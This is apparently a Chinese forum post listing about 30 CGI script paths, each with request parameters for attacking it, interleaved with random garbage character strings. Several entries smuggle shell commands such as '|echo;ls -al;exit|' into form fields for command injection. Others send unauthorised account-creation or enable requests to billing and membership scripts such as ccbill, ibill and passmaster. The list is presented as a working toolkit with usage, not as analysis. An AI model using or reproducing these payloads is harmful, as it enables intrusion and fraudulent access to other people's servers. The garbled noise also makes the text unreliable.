Cgi-bin 30个漏洞＋使用方法

admin

==============================

/smspass.pl
: ?' E% e- s% ~$ x5 J  j( q) \username=username&password=password
3 `3 ]- S' T$ M
/index.cgi
wei=ren&gen=command
, K1 k6 {/ h  G2 }4 ]* e
/passmaster.cgi
% o0 `1 a0 Q3 @0 L3 h: ~8 T9 lAction=Add&Username=Username&Password=Password
9 C/ P  d# J2 b9 F6 U9 q( e, }* c
/accountcreate.cgi
username=username&password=password&ref1=|echo;ls|

/form.cgi
name=xxxx&email=email&subject=xxxx&response=|echo;ls|

9 y3 J/ P& B' M; G- S. [+ p$ e' w/ f/addusr.pl
/cgi-bin/EuroDebit/addusr.pl
user=username&pass=Password&confirm=Password

9 b0 e" b9 ?6 o1 F/ccbill-local.asp
post_values=username:password

/count.cgi
1 g. H8 S3 N5 [, o  x, D2 fpinfile=|echo;ls -la;exit|

$ {6 q+ M  @( [" ^7 k/recon.cgi
0 r  p. D3 H/ F" Q( L2 R+ R3 O/recon.cgi?search
searchoption=1&searchfor=|echo;ls -al;exit|
% S- R; N4 O1 R9 v) L! F
/verotelrum.pl
1 @" @. G/ S7 [! f: }. qvercode=username:password:dseegsow:add:amount<&30>

/af.cgi
_browser_out=|echo;ls -la;exit;|

/modify.cgi
& N- }- P5 C$ r) m: \* w* X2 eusername=username&password=password&expire=30
* ^: W; E) [0 O' [
& s9 L' M. d( |# k; x4 U/openjournal.cgi
; G: |% y. F  T4 f" J$ bedit=1&ct=2&go=|echo;ls -al;exit|
% L# r1 b6 u1 J1 Q# k
/gx9passwd.cgi
cmd=ADD&user=username&pass=password
0 P) H. b8 n% u
/probecontrol.cgi
7 }. R* g0 `& z- J0 v6 X1 D% ccommand=enable&username=username&password=password
# c9 @/ N1 d2 ]8 y
/recon.cgi
searchoption=3&searchfor=echo;ls -la;exit
0 }2 M" |. n- S; n$ W# B
( U/ i  b# a# L* d: T5 Z0 R; W) z8 J/htadd.pl
configfile=|echo; ls -alt; exit

/gx9passwd.cgi
cmd=ADD&user=username&pass=password
9 ]- b2 C' \' e  T
/ibill*.pl
  b9 T; J3 z* M/ w' G4 y0 Zreqtype=add&authpwd=authpwd&username=username&password=password
# h* ?, w" i9 s; k# F9 t
/cpay.cgi
command=add_member&username=username(EMAIL)&password=password(DES)

  g+ V4 @# R/ y/globill_ut.cgi
do=add&username=username&password=password&wpassword=password

/usercontrol.cgi
command=enable&username=USER&password=PASS
+ T9 H' V! b4 D- D; y
/globoSALErum.cgi
action=ADD&seccode=seccode&login=username&password=password

/addusr.pl
user=USER&pass=PASS&confirm=PASS
7 R+ [4 u; @9 \, h& {) M- j
/pincount.cgi
+ x. d% T% W7 }$ u% v9 l/cgi-bin/mastergate/pincount.cgi
pinfile=|echo;pwd;exit|
2 M) ?% m) [  Y' e
6 N$ x7 e) _# W( A& H- X" d/accountcreate.cgi
: q! _, m8 w  o' Q1 X7 o0 O+ H/cgi-bin/gateway/accountcreate.cgi
username=username&password=password&password2=password&ref1=|echo;ls -al;exit
# p- ~  N; L4 [1 s/ D
: f% Z3 A$ X0 z2 W/ M, a& ~8 l/af.cgi
8 E6 r! O5 |6 I/env.cgi
6 f- Y2 j1 L2 x* b/ w! BADD+;echo;pwd;exit
8 u- c5 |" a9 ^# D4 b( X
/count.cgi
pinfile=|echo;pwd;exit|
7 K% T- p  C; K7 S% F
/recon.cgi
8 n, o$ v3 h9 @3 ~9 Q; t- ?  {searchoption=1&searchfor=|echo;ls%20-al;exit|
* E. X, b' J. a
8 R7 U; p3 k) D% m; P2 \& ?1 G/ V9 r" m/add.cgi
( q8 Q/ U" W  B3 P7 `username=username&password=password&expire=30

* r6 d+ b, _6 N2 i- l$ F==============================